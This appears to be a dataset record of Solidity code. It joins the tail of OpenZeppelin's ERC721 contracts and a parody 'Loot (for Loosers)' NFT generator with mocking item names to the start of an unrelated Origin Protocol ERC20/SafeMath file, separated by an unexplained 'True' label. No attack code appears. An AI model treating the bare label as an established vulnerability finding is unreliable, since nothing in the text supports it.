* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract LLoot is ERC721Enumerable, ReentrancyGuard, Ownable {
string[] private weapons = [
"Laptop",
"Workstation",
"Mobile",
"Tablet",
"Plastic Umbrella",
"Push Along Wheel Toy",
"Wizard Wand Toy",
"Server",
"Mainframe",
"Crypto node",
"Smart Watch",
"Notebook",
"Desktop",
"Pen",
"GPU",
"Brown Leather Bag",
"Board Game",
"Game Console"
];
string[] private chestArmor = [
"Conference T-Shirt",
"V-neck Sweater",
"Christmas Sweater",
"Brown Cardigan",
"\"Kick Me\" Sticky Note",
"\"Green Lantern\" Printed Shirt",
"Sleevless Sweater",
"Aliexpress Spider-Man Suit",
"Aloha Shirt",
"Wool Vest",
"Bathrobe",
"Nightshirt",
"Onesie",
"Dressing Gown",
"Plaid Overalls"
];
string[] private headArmor = [
"Fool's Cap",
"Dunce Cap",
"Harry Potter Glasses",
"Propeller Cap",
"Nightcap",
"Shower Cap",
"Fake Moustache",
"Trapper Hat",
"Deerstalker Hat",
"Graduate Cap",
"Party Hat",
"Fez",
"Chullo",
"Visor Cap",
"Fascinator Hat"
];
string[] private waistArmor = [
"Suspenders",
"Corset",
"Harness Belt",
"Fake Championship Belt",
"Belly Chain",
"Thing Belt",
"Back Brace",
"Fanny Pack",
"Belly Dance Hip Scarf",
"Studded Belt",
"Jeweled Buckle Belt",
"Silk Sash",
"Wool Sash",
"Peplum Belt",
"Lace-up Belt"
];
string[] private footArmor = [
"White Socks",
"Sandals with Socks",
"Knee High Socks",
"Flip Flops with Socks",
"Crocs",
"Galoshes",
"Moccasins",
"Slide Sandals with High Socks",
"Plush Slippers",
"Ugg Boots",
"Ballerina Flats",
"Jelly Shoes",
"Mules",
"Knit Wool Socks",
"Pointe Shoes",
"Five Fingers"
];
string[] private handArmor = [
"Smart Watch",
"Pocket Watch",
"Plastic Gauntlets",
"Rubber Cleaning Gloves",
"Knitted Mittens",
"Knit Gloves",
"Half Finger Knit Gloves",
"Convertible Fingerless Mittens",
"Evening Gloves",
"Oven Gloves",
"Dishwashing Gloves with Scrubber",
"Dog Grooming Gloves",
"Grandpa's Driving Gloves",
"Gardening Gloves",
"Catcher's mitts"
];
string[] private necklaces = [
"Bow Tie",
"Bolo tie",
"Scout Neckerchief"
];
string[] private rings = [
"Plastic Ring",
"Grandma's Wedding Ring",
"Mom's Engagement Ring",
"Promise Ring",
"Huge Red Fake Ruby Ring"
];
string[] private suffixes = [
"of Weakness",
"of Nerds",
"of Losers",
"of Unskillfulness",
"of Mathematics",
"of Geometry",
"of Bookworms",
"of Roleplay",
"of Anime",
"of Geeks",
"of Chemistry",
"of Powerless",
"of Infection",
"of Greasiness",
"of Fatboys",
"of Baldness"
];
string[] private namePrefixes = [
"Disgusting", "Sour", "Sweaty", "Depressive", "Wet", "Muddy", "Poor", "Dirty",
"Gaming", "Awkwarding", "Lazy", "Fat", "Skinny", "Sluggish", "Imaginary", "Bully",
"Clingy", "Cowardly", "Deceitful", "Dishonorable", "Apathy", "Boring", "Confused", "Clumsy", "Fail", "Faulty", "Helpless",
"Horrible", "Immature", "Messy", "Misunderstood", "Mishappen", "Moldy", "Outdated", "Nasty", "Nonsense", "Odious", "Petty",
"Pity", "Pathetic", "Sad", "Smelly", "Stinky", "Sticky", "Terrible", "Unwanted", "Unhappy",
"Unpleasant", "Yucky", "Miserable", "Disturbing", "Upsetting", "Tragic", "Worthless", "Useless", "Lame", "Silly",
"Childish", "Banal", "Mean", "Weak", "Ineffective", "Incompetent", "Hopeless", "Dull", "Boring", "Monotonous",
"Gray", "Unexciting"
];
string[] private nameSuffixes = [
"Smell",
"Fear",
"Cry",
"Homework",
"Complain",
"Protest",
"Pen",
"Dance",
"Notepad",
"Squeal",
"Study",
"Shout",
"Whine",
"Acne",
"Body Hair",
"Underware",
"Enema",
"Phobia"
];
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function getWeapon(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "WEAPON", weapons);
}
function getChest(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "CHEST", chestArmor);
}
function getHead(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "HEAD", headArmor);
}
function getWaist(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "WAIST", waistArmor);
}
function getFoot(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "FOOT", footArmor);
}
function getHand(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "HAND", handArmor);
}
function getNeck(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "NECK", necklaces);
}
function getRing(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "RING", rings);
}
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId))));
string memory output = sourceArray[rand % sourceArray.length];
uint256 greatness = rand % 21;
if (greatness > 14) {
output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length]));
}
if (greatness >= 19) {
string[2] memory name;
name[0] = namePrefixes[rand % namePrefixes.length];
name[1] = nameSuffixes[rand % nameSuffixes.length];
if (greatness == 19) {
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output));
} else {
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1"));
}
}
return output;
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
string[17] memory parts;
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="purple" /><text x="10" y="20" class="base">';
parts[1] = getWeapon(tokenId);
parts[2] = '</text><text x="10" y="40" class="base">';
parts[3] = getChest(tokenId);
parts[4] = '</text><text x="10" y="60" class="base">';
parts[5] = getHead(tokenId);
parts[6] = '</text><text x="10" y="80" class="base">';
parts[7] = getWaist(tokenId);
parts[8] = '</text><text x="10" y="100" class="base">';
parts[9] = getFoot(tokenId);
parts[10] = '</text><text x="10" y="120" class="base">';
parts[11] = getHand(tokenId);
parts[12] = '</text><text x="10" y="140" class="base">';
parts[13] = getNeck(tokenId);
parts[14] = '</text><text x="10" y="160" class="base">';
parts[15] = getRing(tokenId);
parts[16] = '</text></svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16]));
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Loser #', toString(tokenId), '", "description": "LLoot is randomized loser generator. The losers are stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use LLoot in any way you want.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
function claim(uint256 tokenId) public nonReentrant {
require(tokenId > 0 && tokenId < 7778, "Token ID invalid");
_safeMint(_msgSender(), tokenId);
}
function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {
require(tokenId > 7777 && tokenId < 8001, "Token ID invalid");
_safeMint(owner(), tokenId);
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
constructor() ERC721("Loot (for Loosers)", "LLOOT") Ownable() {}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | True | [
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|
/*
* Origin Protocol
* https://originprotocol.com
*
* Released under the MIT license
* https://github.com/OriginProtocol/origin-dollar
*
* Copyright 2020 Origin Protocol, Inc
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
